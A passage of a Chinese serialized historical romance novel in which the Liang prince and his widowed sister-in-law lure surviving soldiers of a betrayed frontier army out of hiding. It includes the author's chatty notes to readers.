李赟瞥他一眼,轻描淡写挥挥手:“你再去仔细搜搜。” “好嘞。” 楚飞大喇喇走了。 李赟轻轻吁了口气,这才又看向明宜,道:“无论如何得抓住这些人。” 明宜见他语气严肃,心下一提,正要为秦家军说几句好话,却又听他娓娓道:“我虽未见过秦将军,但北庭与河西同气连根,若当年没有秦家军守住北庭,我们李氏也难在凉州壮大至今日。秦将军素有战神之名,绝非刚愎自用之人。我当年虽然年少,却也不信五万秦家军全军覆没,是因为秦将军自大轻敌。既然秦家军还有人活着,那我必然要弄清楚真相。” 原来如此,明宜暗暗松了口气,想了想又道:“他们身份尴尬,看起来也是不愿跟公门有牵扯,只怕不好抓。” 李赟道:“既然已经被发现,那就没有抓不到的道理。” “这倒是。”明宜顺着他的话恭维道,“以阿兄的本事,抓他们几个散兵游将定是手到擒来。” 李赟抬眸望着她,却不再说话。 烛火下,对方那张俊美的脸,影影绰绰,颇有几分诡谲。明宜心中不由得有些忐忑,下意识问道:“阿兄,怎么了?” 李赟似笑非笑低哼了声:“弟妹与我乃一家人,不必学旁人对我阿谀奉承。” 明宜:“……” 道理是这么个道理,但说出来就有点尴尬了。 好在旁边没人,不然还真是有些没面子呢—— 作者有话说:新年快乐,祝大家马年健康快乐,马上发财~(存稿箱代发) 第44章 第 43 章 我看不惯小凉王 李赟却是神色如常, 又从袖袋中掏出一块胡饼,分了一半递给她:“还不知何时才能回城,先填填肚子。” 说罢又招呼楚飞过来, 让众人也先吃了东西再忙。 因秦家军那帮人走得匆忙, 什么都未能带走,虽然本身穷困潦倒, 但还是存了些食物。都被楚飞带人找出来, 除了干巴巴的馕饼,还有果脯肉干干奶皮之类, 全分给了众人。 明宜吃着果脯, 心中不由暗笑, 沙匪老巢被洗劫一空, 也不知谁更像土匪。 “弟妹笑甚?” 明宜轻咳一声:“我是想着秦家军当年威名赫赫,打起仗来十分勇猛, 但做沙匪似乎做得并不如何。” 李赟勾了勾嘴角:“兵与贼到底不同。” 待都填好肚子, 吴刺史颠颠跑过来,拱手道:“王爷,沙暴已经过去, 臣已经让人先去牵马, 我们是继续追击那些沙匪?还是先打道回府?” 李赟瞥他一眼, 还未说话,吴刺史便已心领神会,义正言辞道:“这帮沙匪就算不是飞鹰,那也十分可疑, 我们定要乘胜追击将其抓获,绝不能让他们跑了。” 李赟轻描淡写“嗯”了一声。 因这场沙暴,被拴在外面的马儿四散, 虽寻回大半,但还是丢了几匹。 马匹宝贵,尤其是战马,李赟留下几人继续去寻马,自己则带人重新西行去追秦家军。 只是黄沙漫漫,一望无垠,行了大半个时辰,始终没见到那些人的身影,倒是遇到两支因为沙暴损失惨重的商队,其中一支不仅财物损失大半,还有两人陷入流沙没了性命。 这些胡商们跋山涉水,穿越沙漠,来往东西,本意不过养家糊口赚取银钱,却无形中成为东西交流的桥梁。 沙洲正是这些商队往返东西的最重要一站,偏偏沙洲乃至河西,狄患连年不断,沙匪肆虐,气候无常。 而承受这些的,又岂止是这些胡商,边民边军,日日过得都是这种日子。这一路来,她见河西民风豪爽洒脱,又何尝不是因为过一日安宁日子算一日的缘故? 看似杀伐决断冷血无情的李赟,见到这些遭难胡商,虽然没多说,却也让人给了些银钱。 “王爷,这些沙匪在沙漠中,就跟泥牛入海一样,只怕我们这样是寻不到的,眼下已是后晌,太阳就要落山,不如我们先回城?”吴刺史是常在沙洲生活的人,知道夜晚的沙漠有多危险,眼见寻不到人,日头又偏西,也不管李赟会不会不悦,还是硬着头皮建议,毕竟这位小凉王行军时可以几天几夜不停歇。说罢又想到什么似的补充,“其他人倒是好说,只是侯夫人乃是女子,跟着我们一群大老爷们在沙漠中乱撞,只怕久了撑不住。” 明宜忍不住腹诽,你自己想回去就回去,何故要拉我做垫背? 李赟闻言看了眼天色,便点头:“行,那今日就先回去休息。” 吴刺史大喜过望,侯夫人这借口果然好用。 一行人正要掉头返城,前方黄沙中,却出现一道影影绰绰的身影。 明宜定睛一瞧,下意识惊喜道:“是沙狼!” 李赟:“弟妹倒是好眼力。” 语气看似平淡,但听在明宜耳中,却似乎有一丝隐隐的讥诮。 她不明所以地看了眼对方,也没看出什么,只得又转头继续看向前方。 陆浪骑马的身影越来越近,只不过看着没了平日的潇洒不羁,整个人半趴在马背,远远就能看出一身狼狈。 看来沙狼遇到沙暴也不好使。 陆浪自然也早就看到一行人,却依旧不急不慢,半晌才来到跟前。 他满头沙尘,身上袍子破了好几块,神色倒是还算如常,跳下马后,上前与马上的李赟作了一揖:“草民拜见王爷。” 李赟眯了眯眼睛:“那些人呢?” 沙狼摇头苦笑:“沙暴一来,他们就跑了。”说着,又补充一句,“我也劝过他们来与王爷说清楚,只可惜没人听。” “你可知他们会跑去哪里?” 沙狼依旧摇头:“他们一向神出鬼没,唯有地下城一个老巢,如今老巢被王爷端掉,只怕不会再回来,至于会去哪里,草民一无所知。” 说着又深深揖了一礼:“王爷,若是没其他吩咐,草民就回去了,这沙暴差点要我半条命。” 李赟瞥了他一眼,显然对他也并未太在意。然而明宜却忽然凑过小声道:“阿兄,你对那伙秦家军势在必得么?” “没错。”李赟点头。 明宜看了眼准备回到马上的陆浪,低声道:“我倒是有个法子。” 她声音很小,但足够让前面几人听到。 李赟和陆浪齐齐转头看向她。 明宜避开陆浪的目光,心虚地轻咳一声:“既然沙狼与他们是朋友,不如阿兄将沙狼捉回去,再放出消息,说他们这群藏在地下城的狄匪若是不来自首,就杀了他们的同伙沙狼。这样的话,指不定不需一兵一卒,那些人便会自己送上门来。”说着又补充一句,“当然,沙狼是流民之首,这消息放出去,只怕会有流民闹事,刺史府要好好防备才行。” “侯夫人!”陆浪不可置信地睁大眼睛,像是有点不相信自己的耳朵,“你一个女子,怎么能想出如此缺德的主意?” 明宜摸摸鼻子:“放心吧,王爷不会怠慢你的。” 李赟则是愉悦般勾了下嘴角:“我瞧弟妹这主意不仅不缺德,还相当聪明。”说着话锋一转,“沙狼,你是自己跟我们走,还是让本王动手?” 陆浪摊摊手,看着明宜无奈一笑:“你们这么多人,我可不想自讨苦吃。” 明宜眼观鼻鼻观心,没好意思再看他。 陆浪爬上马,驱马挤到她身旁,咬牙切齿低声道:“侯夫人,你可真是好样的!” 明宜觑眼看他,讪讪一笑。 另一旁李赟的声音慢悠悠响起:“多谢弟妹为本王分忧。” 明宜:“……” 她倒也不全是为了小凉王分忧,而是自己也好奇当年秦家军发生了何事。 只是第一次做这种缺德事,怪不好意思的。 回到刺史府,天早已经黑透。 与此同时,看守地牢的守卫来传,说三个沙狄飞鹰已趁人不备咬舌自尽。 吴刺史气得暴跳如雷,还是李赟叫他淡定,那几人给假消息,无非是调虎离山,待小凉王一离开,守备定然会放松,他们便能寻到自尽机会。 飞鹰线索就此断掉,要说小凉王不恼是假的,怪只怪自己大意。 二进宫的沙狼,再次被打入地牢。 明宜到底是心中有愧,用过膳后,又赶紧让人去准备了一坛好酒几样小菜,去了地牢。 因为她先前跟李赟来过地牢,守卫知道她身份,并不多问,便放了她进去。 刺史府地牢只关押细作和穷凶极恶之徒,如今那三个细作自尽,整座牢中,只剩沙狼一人。 他闭着眼睛靠墙席地而坐,就挨着门边。 听到脚步声也没有抬眼。 明宜轻咳一声:“陆郎君,我来给你送些酒菜。” 陆浪依旧闭着眼睛:“多谢侯夫人关心,草民已用过膳。” 明宜轻笑:“那喝点酒也行,我专程让人去仓库拿的渭南黄酒,应该是你故乡的味道。” 陆浪终于掀开眸子,在烛火中幽幽看向她。 明宜将酒从牢门缝隙递进去,对方这回倒是大大方方接过来:“侯夫人有心了。” 明宜又将小菜放在地上,自己也盘腿席地而坐。 见对方昂头灌了一口酒,爽快般喟叹一声,才轻咳一声低声开口:“陆郎君,我知你有怨气。但王爷对秦家军那几人势在必得,若是不用此下策,他定会继续兴师动众追捕,劳民伤财不说,一旦双方遇上,对方若是依旧不束手就擒,免不了又要流血。你愿意看到你那些朋友受伤么?” 陆浪再次抬眸看向她,勾出笑了笑:“先前我不明白,为何小凉王此次西行会让侯夫人伴其左右,原来侯夫人乃是小凉王军师。” 明宜一怔,继而又摇头失笑:“陆郎君说笑了,王爷让我随行,不过是因为我懂一些番语。” “是么?”陆浪似笑非笑,显然对此不以为然,“不管怎样,小凉王眼光确实不错。” 明宜想了想:“陆郎君在沙洲多年,想必也清楚北狄如今什么情况,那大汗只怕时日无多,待他一死,无论是哪个小可汗继位,南侵都是板上钉钉的事。沙洲百姓生活不易,你可当真只打算明哲保身?” 陆浪笑道:“我一介草民,若真遇外敌侵犯,能明哲保身已是万幸。” 明宜道:“但你不是普通草民,你乃是大宁景明五年的武状元,金吾卫校尉,如今在沙洲,乃是流民之首,多少人受过你护佑!” 陆浪先是微微一怔,继而又讥诮一笑:“侯夫人是为小凉王来做说客的么?” 明宜笑:“王爷还不至于让我一介女流来当说客。我只是……”她顿了顿,“觉得陆郎君一身本事,若是不能建功立业,有些太可惜。” 陆浪冷笑:“建谁的功立谁的业?长安金銮殿上的帝王还是那帮醉生梦死的贵胄?” 明宜知道他的经历,定然对朝廷不屑一顾。她笑了笑道:“自然不是。这里是河西沙洲,你是为百姓建功,为山河立业。” 陆浪默了片刻,轻笑道:“若北狄当真入侵沙洲,我自然不会袖手旁观。” 明宜也笑:“所以陆郎君从来也不会明哲保身对么?” 陆浪心下一怔,没想到自己竟被这小女子绕进去,他觑她一眼,玩世不恭般一笑:“每次北狄来犯,沙匪们也会偷偷取几个人头。” 明宜:“所以你只准备带领你那些流民去取几个人头么?” 陆浪微微一怔:“我知流民比不得训练有素的河西军,但我绝不会归顺小凉王。” 明宜没再劝说,只道:“为何?难不成就因为不想与贵胄公门打交道?”顿了下,又补充一句,“但我看陆郎君与这刺史府里的人交情匪浅,里面一点风吹草动陆郎君都能立马收到。” 她温声细语,却又咄咄逼人,一时倒是叫陆浪不知如何反诘,只得又昂头猛灌了一大口酒,又长长舒了口气,才道:“好吧,我实话实说。” 明宜睁大一双杏眼,好整以暇等着他后面的话。 陆浪对上她漆黑的眸子,心跳忽的不受控制般加快,他暗暗吸了口气,抿唇冷哼一声:“因为我看不惯小凉王。”—— 作者有话说:李赟:呵呵,我也看不惯你。 第45章 第 44 章 王爷绝不是那迂腐之人,…… 明宜一怔, 下意识问:“为何?”顿了顿,又想到什么似的,“难不成陆郎君也以为小凉王跟传闻中一样, 是个冷血无情残暴嗜杀的煞神?” 陆浪不答反问:“难道不是么?” 明宜一时竟不知如何反驳。 她蹙了蹙眉头, 虽然对面前这人知之不多,但也清楚对方作为游侠儿, 讲究的是行侠仗义, 怜恤弱小。他或许也杀人,但杀的定是大奸大恶之人, 绝不会像李赟那样动辄牺牲或屠杀一片。 但李赟是小凉王, 要护佑更多的人, 守住广阔的疆土, 就必然有所舍弃。 这里是杀机四伏的河西,不是歌舞升平的长安。 思及此, 明宜也便没去为李赟辩驳, 哪怕她已经确定李赟并不止传闻的那一面。她只轻笑了笑,淡声道:“王爷身后无人,他若不这样, 守不住河西。” 陆浪勾唇讥诮一笑:“小凉王现在背后不是有侯夫人么?” 明宜怔了下, 脸上笑意也凝住, 眉头不由自主颦起。 陆浪见状,不知为何心中生出一股不忍,轻咳一声,稍稍正色道:“我的意思是, 侯夫人聪慧机敏,定能为王爷排忧解难。”说完,又有些烦躁似的挥挥手, “不过依我看,河西危险重重,小凉王又并非善类,侯夫人还是早些回京城,安安稳稳做你的高门贵女吧。” 明宜闻言轻笑出声:“陆郎君的建议我会考虑的。” 陆浪也笑:“不过沙洲确实值得一游,侯夫人是这么多年来,第一个认出我的人,也算是缘分,待我出了这地牢。若是侯夫人不嫌弃,我倒是可以作为向导,带夫人好好游览一番沙洲。” 明宜:“那我就却之不恭了。” * 与此同时,官舍李赟房内,正在阅读书卷的小凉王,再次将楚飞唤进来。 “王爷。”楚飞拱手道。 李赟目光依旧落在手中书卷上,头都没抬一下,只淡声问道:“二夫人回来了么?” 楚飞回道:“还未曾。” 自从一刻钟前,他向王爷通报二夫人带了酒菜去地牢探望沙狼后,王爷已经唤他进屋三次,问他人回来没? 李赟蹙了蹙眉继续问:“怎么去了这么久?” 楚飞轻咳一声:“回王爷,也就一刻钟。” 李赟:“一刻钟还不久么?” 楚飞:“久么?” 这从官舍到地牢,一来一去也得半刻钟啊! 李赟冷瞥了一眼:“行了,你出去吧。” 楚飞行了个礼,毕恭毕敬退出了房门,心中却是一头雾水,这刺史府地牢如今就关着沙狼一人,那沙狼应该也不会对二夫人不利,也不知王爷是在担心什么? 难不成还怕沙狼劫持侯夫人逃出去? 不过谨慎一向是王爷做派,不怕一万就怕万一。 思及此,楚飞心中一震,忙默默招来几个身手顶尖的暗卫,去地牢门口埋伏。 一番吩咐安排之后,人还没来得及歇一口气,又听屋内的人在唤他的名字。 他赶紧回身推门而入:“王爷,怎么了?” 李赟这回终于将书卷放下,正眼看向他,眉宇间罕见浮上了几分烦躁之色:“二夫人还未回来?” 楚飞点头:“还没有。” 李赟蓦地起身,绕过桌案便往外走。 楚飞愣了下,随口问:“王爷,您要去哪?” 李赟面无表情冷声回道:“去地牢看看。” 楚飞赶紧拱手道:“王爷不用担心,我已经安排暗卫埋伏在地牢门口,若是那沙狼想劫持侯夫人逃出去,立马便能将人抓住。” 李赟转头,像是看白痴一样看向他。 楚飞眨眨眼睛,不明所以地摸摸头,道:“莫非王爷一直唤我,不是因为担心沙狼对侯夫人不利么?” 李赟深吸一口气。 楚飞小心翼翼试探道:“难道不是?” 李赟一口浊气顿时堵在胸口,没好气道:“是。” 楚飞咧嘴一笑,果然没猜错。 就在这时,院里忽然传来守卫的声音:“见过二夫人!” 楚飞双眼一亮:“是二夫人回来了。” 说罢,先李赟一步出了门,疾步迎上明宜,喜笑颜开道:“二夫人,您终于回来了?” 明宜不明所以:“我去了很久了么?” “那倒没有。”楚飞笑眯眯道,“就是王爷担心那沙狼对你不利,一直问你何时回来?” 明宜微微一愣,看向施施然走过来的李赟,轻笑道:“阿兄多虑了,沙狼不是那样的人。” 李赟目光落在灯火下那张清丽的脸上,只见那面上带着一丝堪称轻快的浅笑,显然心情不错。 因为见了沙狼,和人相谈甚欢这么久? 李赟勾了勾嘴角,似笑非笑道:“看来弟妹对那流民之首很是了解。” 明宜想了想,换了个说辞:“不是我对他了解,而是他对刺史府和小凉王了解。有阿兄在,他纵然有三头六臂的本事,也不可能劫持我逃出去。” 李赟却是不依不饶:“弟妹觉得这沙狼很有本事?” 明宜从来不是心思愚钝之人,怎么听这语气都有些不对。她想了想,试探道:“阿兄是认为我身为凉王府二夫人,又是新寡之身,单独去探望沙狼不合礼数?” 李赟还未说话,楚飞先插嘴道:“二夫人多虑了,王爷绝不是那迂腐之人,他向来厌恶约束人的礼教规矩。” “那就好。”明宜笑了笑,“我还担心出门太久,见惯了河西开放民风,入乡随俗,阿兄会怪我得意忘形呢。” 李赟原本紧绷的一张冷脸,忽然展眉轻笑开来:“嗯,弟妹能丢开在京城学来的礼教约束,吾甚感欣慰。在河西,无论男女,都可随性而为。”说到这里,他微微顿了下,“我只是好奇你和沙狼有什么话,能说这么久?” 明宜心说久么?她在地牢里总共也就待了一刻多钟,甚至都没等陆浪将小菜吃完。 既然对方问,她也便坦然道:“我是想着他因为我而无罪入狱,到底有些歉意,便带了酒菜去赔罪。除此,我也是想试着游说他能归顺阿兄。毕竟他是流民之首,若他能归顺,阿兄便也不用操心募兵一事了。” 李赟道:“他怎么说?” 语气平淡,但望着明宜的那双灰眸,却明显有暗涌浮动。 明宜叹了口气,摇摇头:“恕我无能,他还是不答应。” 李赟闻言心中竟是莫名大松了口气,他扯了扯嘴角:“吴刺史招揽过他不知道多少回,我也曾对他发出过邀请,都未成功,若你三言两语他便答应,那才真是蹊跷?”顿了下,又补充一句,“他一个流民,无护国佑民之志,不用勉强。” 明宜心说,陆浪不是无护国佑民之志,他只是单纯看不惯你,不愿跟着你罢了! 当然腹诽归腹诽,面上依旧巧笑嫣然:“嗯,我也只是试一试。” 李赟点点头,又似是随口问:“你们就说了这些?” 明宜轻笑道:“我与他不过见了几面,除了这些,还有什么话能说?” 李赟语气温和道:“行,今日弟妹想必也劳累得很,早些回房歇息吧。” 明宜与他行了个礼:“阿兄也早点休息。”说着,越过对方朝房内走去,只是走了几步,忽然又想到什么似,回头道,“对了,沙狼说等此事了结,愿意为我做向导游览沙洲,我想着没人比他对沙洲更熟悉,便答应了。虽然阿兄说在河西可随性所为,我觉得还是要提前与阿兄知会一声。” 李赟再次被一口浊气堵住,好在很快回神,皮笑肉不笑道:“嗯,沙狼做向导定然能让弟妹在沙洲玩得尽兴,但弟妹是不是忘了,那鲁刺儿此时还不知在何处?”不等明宜再说,又补充一句,“弟妹不用担心,等我得空,会亲自带你和五郎出门游览。” 明宜这才想起还有个鲁刺儿。 虽然好些日子未再出现,但始终是个大隐患。她几乎有种预感,此人如今就蛰伏在沙洲,只怕随时可能冒出来作乱。 若是在城内还好,一旦出了城,遇到这祸害,可就不好说了。 虽然她愿意陆浪当这个向导,但也不想让他白白受牵连。 于是明宜点点头:“也是,那我就等阿兄忙完再说。” 李赟这才轻轻笑了笑:“嗯,我争取不让弟妹久等。” 明宜对他揖了一礼,转身回了屋。 待目送她进了房门,李赟那张俊脸上不达眼底的笑意,彻底冷下来。 一旁的楚飞则是摸摸头道:“那沙狼被二夫人害得无罪入狱,不仅不记恨二夫人,还愿意给二夫人做向导?这人心胸未免太开阔了些。”说着又想到什么似的,大惊失色,“王爷,你说那沙狼不会对二夫人心怀不轨吧?” 李赟冷冷瞥他一眼:“从现在开始,你这张嘴不要再说任何话了。” “啊?” “闭嘴!” “哦。”反应过来自己又出了声,楚飞赶紧抬手将嘴巴捂住。 虽然他不知道今晚自己说错了什么,但他一向也不是会说话的人,定是不小心说错了话惹了王爷不快—— 作者有话说:啊~今天才看到前面一章有个长评,说我这个文为啥收藏这么低,因为我跟风搞什么兄嫂巧取豪夺之类的~没有之前布衣千金之类的那种轻松自然的感情了 窦娥冤啊我~ 虽然标题文名确实有点像是现在流行的梗,但看到这里,就会发觉这个文其实是搞剧情,就是文案蹭了一下,相反其实文案文名的那些东西,目前为止几乎没有2333,这才是收藏少的罪魁祸首。 当然,本质是因为,我现在确实是感情戏苦手,很多年不看谈情说爱的文了,这对言情写作者基本上就是无解了。写不出勾人的感情戏,又不是风趣幽默日常,或者打脸爽文,那阅读性确实不高。 我想写这个文的时候就很清楚症结,所以才存稿(已经被挥霍得不多了),我的目的就是争取故事的完整性。 PS也喜欢布衣千金,但现在确实不大可能写出这种轻松甜文了。 还会不会写纯感情戏的文? 可能会尝试回归现实感一点的题材,当然如果能写出轻松幽默的更好了,但这很难。 看过我许多文的朋友,应该也看得出,我的文风甚至文笔都非常不稳定不统一,有的幼稚,有的成熟,有的搞笑,有的苦大仇深,总之判若几人,宛如精分,写出啥风格,全看当时灵感,无法自控。羡慕可以一直统一稳定的作者,说多了都是泪。 第46章 第 45 章 秦家军 翌日, 明宜想再去地牢,却被守卫告知,沙狼被抓的消息已经放出去, 吴刺史担心流民潜入刺史府劫狱, 暂时将人藏了起来。 言下之意,是她这个侯夫人也不能去探监了。 虽然她觉得对沙狼不必这般大费周章, 毕竟小凉王在此, 谁敢贸然来劫狱? 倒是将消息散播出去,让秦家军那些人早些得知沙狼因他们被抓的可能性更大一些。 当然, 也确有流民集结在刺史府门口闹过两场, 但都以李赟亲自出面而作鸟兽散。 可见小凉王的威信也并不逊沙狼这个流民之首。 好在他们并未等多久。 三日后的清晨, 明宜正与李赟周子炤一起用早膳, 刺史府门口的登闻鼓被敲响。 那鼓声惊雷一般,就连官舍内的几人都听得一清二楚。 周子炤喝着汤咕哝道:“什么人一大早就来喊冤?” 话音刚落, 吴刺史便匆匆走进来, 一脸激动地拱手道:“王爷,人来了。” 李赟问:“来了多少?” 吴刺史:“一个,就是上回那领头的女子。” 李赟道:“把人直接带进来。” “喏。” 吴刺史领着人进来时, 屋内众人已用完早膳, 齐王殿下吃饱喝足去找人玩, 只剩下李赟和明宜两人。 “还不快见过凉王殿下!”吴刺史催促道。 女人虽不比上回狼狈,但也好不了多少,一身衣衫破破旧旧,面容黢黑, 若不仔细瞧,根本就看不出是个女子。 她上前深深作了一揖:“民女秦梦见过凉王殿下。”又见另一侧的明宜,想也没想便道, “见过王妃。” 又一次被认错的明宜尴尬地轻咳出声。 还是吴刺史低喝道:“什么王妃,这是西平侯夫人!” 秦梦看了眼明宜,从善如流改口:“见过侯夫人。” 明宜摆摆手:“无妨。” 李赟冷冷打量他一眼:“你是秦梦?秦将军义女?” 秦梦道:“既然王爷知道我们是秦家军,为何还将我们打为狄匪,又诬陷沙狼通狄匪?” 李赟勾唇一笑:“秦家军已覆灭十二年,你们不过是几个残兵,为了生存,投了北狄也不奇怪。” 秦梦闻言,顿时怒道:“我们秦家军就算活不下去,也绝不会投靠北狄。” 一旁的吴刺史不满斥道:“放肆!竟敢对王爷如此无礼,我看你是真不想活了!” 秦梦梗起脖子道:“小凉王要如何处置我们这些落寇残兵,我一人承担,我们的事与沙狼无关,至于其他人,我已让他们逃离沙洲,不会再做劫掠之事。” 李赟轻笑:“本王原本也没打算为难沙狼,只不过是用他诱你们自投罗网,秦娘子想必也猜得到,只是仗义使然,不得不来。沙洲沙匪不知凡几,你们做的那点劫掠之事,我没兴趣管。” 秦梦愕然看向他:“那王爷你引我来意欲何为?” 李赟冷冷望着她,一字一句道:“本王要知道十二年前秦家军兵败覆灭的真相。” 秦梦如遭雷劈一般,脸色一阵青一阵白,眼眶也蓦地一红,泪水泉涌一般滚出来,片刻后,忽然扑通一声跪在地上,失声哽咽道:“当年北狄十万大军攻打北庭,我们秦家军总共只有五万,且战马箭矢严重不足,义父派人去寻安西节度使求援,很快收到那边来信,让我们率领兵马去碎叶与援军会合。” “义父率兵转移至碎叶,不料没看到援军,却等来早就设下埋伏的北狄大军。”说着又泪眼模糊地抬头,义愤填膺道,“五万秦家军覆灭,绝不是世人所传义父刚愎自用,而是被奸人所害。” 虽然早有预料,但没想到真相如此简单,却又如此惨烈。 明宜看着地上悲愤交加的女子,鼻间也忍不住有些泛酸。 五万将士性命,十二年的流离失所,秦将军这位义女能活到现在已是不易。 李赟蹙起眉头:“你是说是当年有人与北狄勾结,故意陷害秦家军?” 秦梦点头:“没错。” 李赟问:“你可知是何人?” 秦梦惨然一笑:“还能是谁?定是那安西节度使陈盎。秦家军威名赫赫,义父声望远在他之上,他以为没了秦家军,安西北庭便都在他手中。殊不知北狄野心勃勃,不过两年,就吞下北庭和安西大部分疆域,陈盎也成了弃子,被北狄人抓走分尸。” 说着又哈哈哈大笑起来。 “所谓善有善报,恶有恶报。只可惜了大片河山被葬送。” 李赟望着她沉默片刻:“你说的可都是真话?” 秦梦讥诮一笑:“秦家军覆灭已经十二年,义父声誉被毁十二年,我如今说谎又有何意义?”说着抹了抹脸上泪水,缓缓起身,拱手道,“这些往事我本不欲再提,但敬小凉王乃北狄克星,方才如实相告,小凉王想知道的我已言无不尽,若是不打算问罪于我,就放了沙狼和我吧。” 李赟朝一旁听得目瞪口呆的吴刺史挥挥手:“把沙狼叫来。” 吴刺史反应过来,赶紧应诺,亲自跑去提人。 李赟又朝旁边一张空桌示意了下:“秦娘子,请坐!”说着又吩咐下人道,“给秦娘子上茶。” 秦梦地鼠一样活了十二年,别说是刺史府,就是正常屋舍都未再进过,眼下忽然被小凉王这样的大人物被赐座,一时竟有些惶然。 好在她并非寻常小女子,只略有些犹疑,便大大方方落了座,又拿起下人斟好的热茶,一饮而尽。 原本一直望着她的明宜,忽然觉察不对,微微歪头,果然见李赟正看着自己,见自己看过来,对方目光又朝秦梦瞥去,眉头轻挑了挑。 明宜先是不明所以地一怔,但很快反应过来,对方是在朝她示意。 眼下这屋中,除了秦梦,就只有自己一个女子,女子和女子说话,总还是容易拉近些距离。 小凉王只怕是想将秦家军这几个残兵留下。 她微不可寻地点点头回应,然后弯唇一笑,朝秦梦开口:“秦姐姐,我祖父与秦将军乃是忘年交,秦家大郎曾师从我祖父。” 说到这里,她心中不由得一痛,那秦家大郎原本是个好儿郎,却因此事受牵连丢了性命。好在秦梦闻言并无异样,想来是因为她乃秦将军夫妇在北庭收养的义女,并不认识长安的秦家人,于是继续道:“我对秦将军一直很敬仰,只是没想到是这种结局。秦姐姐以女子之身上战场杀敌,乃是巾帼英豪,秦家如今只剩你一人,秦将军夫妇想必也不愿看你落草为寇,流离失所。这回王爷也是受了北狄人蒙骗,才将你们当做狄匪,得知你们乃是秦家军残兵,他心中甚是欣慰。眼下北狄虎视眈眈,只怕不日就会南侵,你们不若就留在河西军,助王爷一同抵御北狄,以慰秦将军在天之灵。” 李赟自始至终没评价过一句秦将军,听到明宜这话,秦梦不由得有些动容,神色也缓和下来,然而脸上的笑容,却看着有几分苦涩,她朝两人拱拱手道:“承蒙王爷和侯夫人抬爱,只是你们也瞧见了,我们如今人不过十来人,其中一半都已年过四旬,纵有杀敌之心,也无杀敌之力。” 明宜闻言又笑说:“抵御敌寇,并不是只有上战场杀敌,还有出谋划策,军需后勤。只要有心抗敌,上到耄耋老人,下到几岁稚儿,都能有用武之地。” 李赟适时接话道:“弟妹说的不错,我与秦家军同为边将,决不能眼睁睁看着你们继续流亡。” 秦梦默了片刻,又道:“实不相瞒,我们之所以从北庭一路流落到沙洲,除了生存,还有一桩事要做。” 明宜和李赟异口同声:“何事?” 秦梦道:“当年北庭出事,义母临终前将我阿弟托付与我,但我们撤退时,遇到北狄人偷袭,阿弟下落不明,这些年我一直在寻找他。” 明宜眯了眯眼:“你说的阿弟,可是秦家七郎秦破虏?” 秦梦点头:“不错,他是我义父义母留在这世上唯一的骨血,只要一日没寻到他的尸骨,我就一日不会放弃。这也是我余生唯一要做的事,至于抵御北狄保家卫国,确实已有心无力。” 秦将军夫妇刚去北庭第二年,诞下一子,在秦家排行第七,取名秦破虏。那时明宜年岁尚小,但因着记忆超群,听在祖父门下读书的秦家大郎提起过,便记下了。 那秦七郎一直随父母在北庭长大,从未回过长安,秦家军覆灭,秦氏夫妇皆战死,那秦七郎想来也活不成了。 不想竟是下落不明。 明宜思忖片刻,问道:“你们可有线索?” 秦梦摇摇头:“当年辗转打探到的消息,是说他被北狄人掳走。这些年我一直想办法让人帮忙在北狄打探,却始终一无所获。” 明宜忽的一笑:“那秦姐姐你可就更要留下了。” 秦梦不明所以地看向她。 明宜继续道:“凉王府常年在北狄安插有探子,要论谁能从北狄打探到各种消息,应该没人比得过王爷。”说着转头笑盈盈看向李赟,“阿兄,秦家七郎的事,可就麻烦你了。” 果然,秦梦原本颓然的双眼,忽然神采奕奕,连忙起身满脸激动地拱手道:“若是王爷能帮民女寻得阿弟,民女定效犬马之劳。” 李赟勾唇一笑:“好说。”只是目光并未在她身上多停留,而是歪头看向面带笑意的明宜,朝对方颇为满意地挑了挑眉头。 明宜第一次看到他这张冷峻的脸上,浮上如此明显的愉悦笑意,以至于似乎透出了一股说不上的温和。 陆浪进来时,原本还有些心急如焚,不想看到的却是如此和谐的场景。 他狐疑地看着面带笑意的李赟将目光从明宜脸上收回,拱手道:“草民……参见王爷……”又看向满脸激动的秦梦,问道,“秦娘子,你没事吧?这回是我连累了你。” 秦梦忙笑着道:“千万别这么说,若不是你,我也没机会见王爷。” 陆浪不解道:“秦娘子这是?” 秦梦道:“我不是一直在寻找我阿弟么?王爷说会用他在北狄的暗线,帮我打探,有小凉王帮忙,定比我这些年瞎摸乱撞好。” 陆浪笑着舒了口气:“看来秦娘子和王爷解开了误会,那我便放心了。”说着又朝李赟作了一揖,“王爷,眼下已没了草民的事,草民可以离开了吧?” “这几日让你这位流民之首受委屈了。”李赟轻笑,只是语气始终带着几分讥诮。 陆浪到时不以为意,笑道:“能为王爷分忧,草民有何委屈之有?”说着又对明宜拱拱手,“侯夫人,若是要找我做向导,差人去来福酒楼让掌柜的转达便可。” 明宜干干一笑。 而李赟原本带着笑的脸,蓦地冷沉下来。 陆浪挑挑眉:“王爷,后会有期。” 第47章 第 46 章 嘴唇贴在他耳畔边 或许是这么多年寻弟无果, 明宜那番话像是救命稻草一样,原本不打算与大宁公门再有牵连的秦梦,没有任何犹豫便留在了刺史府。 李赟说帮忙安顿好其他人, 她也没拒绝, 还拜托沙狼帮忙去传信。 李赟对这件事的结果很是满意,当然, 如果没有碍眼的沙狼那就更好了。 好在这家伙离开了刺史府, 不在眼前晃荡,倒也不甚重要。 官舍多了个女子, 明宜也开心。 这一路来, 除了一个白芷, 周围都是大男人, 且多是糙老爷们,实在是让她有些郁闷。 为了与秦梦拉近距离, 她让人给对方准备了茶水早膳, 又回自己房中,让白芷调了一碗杏仁牛乳饮子,亲自送去对方房中。 只是刚踏进敞开的房门, 便见这位秦娘子左脚踏在桌上, 一手抓一只羊腿, 一手端一杯酒,左右开弓,那叫一个豪迈不羁。 对哦!她差点忘了,秦梦曾上过战场, 如今又做了十来年沙匪,还是首领,这一身豪爽匪气也不足为奇。 明宜虽然看多了这河西之地的糙汉, 却是第一次瞧见这般的女子,不由得十分新奇,笑盈盈走上前唤道:“秦姐姐,我来给你送碗饮子。” 秦梦吃得认真,听到她说话才觉察有人进来,赶紧转过身,要站起来行礼。 明宜忙招手示意:“秦姐姐不用拘礼。” 秦梦也就继续坐着,只放下手中酒和肉,拱手作了一揖:“有劳侯夫人了。” 明宜将杏仁牛乳放在桌上,自己也盘腿在她对面坐下,笑盈盈道:“我在家中排行第三,秦姐姐叫我三娘子就好。” 敦煌城中多得是妖冶胡姬,秦梦自然是见过不少美人,但却多少年没见过像明宜这样温婉大方的中原美人。 上一回见到的,还是自己的义母。 思及此,她不由得眼圈一红。 明宜见状,有些不明所以地眨眨眼:“秦姐姐,您这是怎么了?” 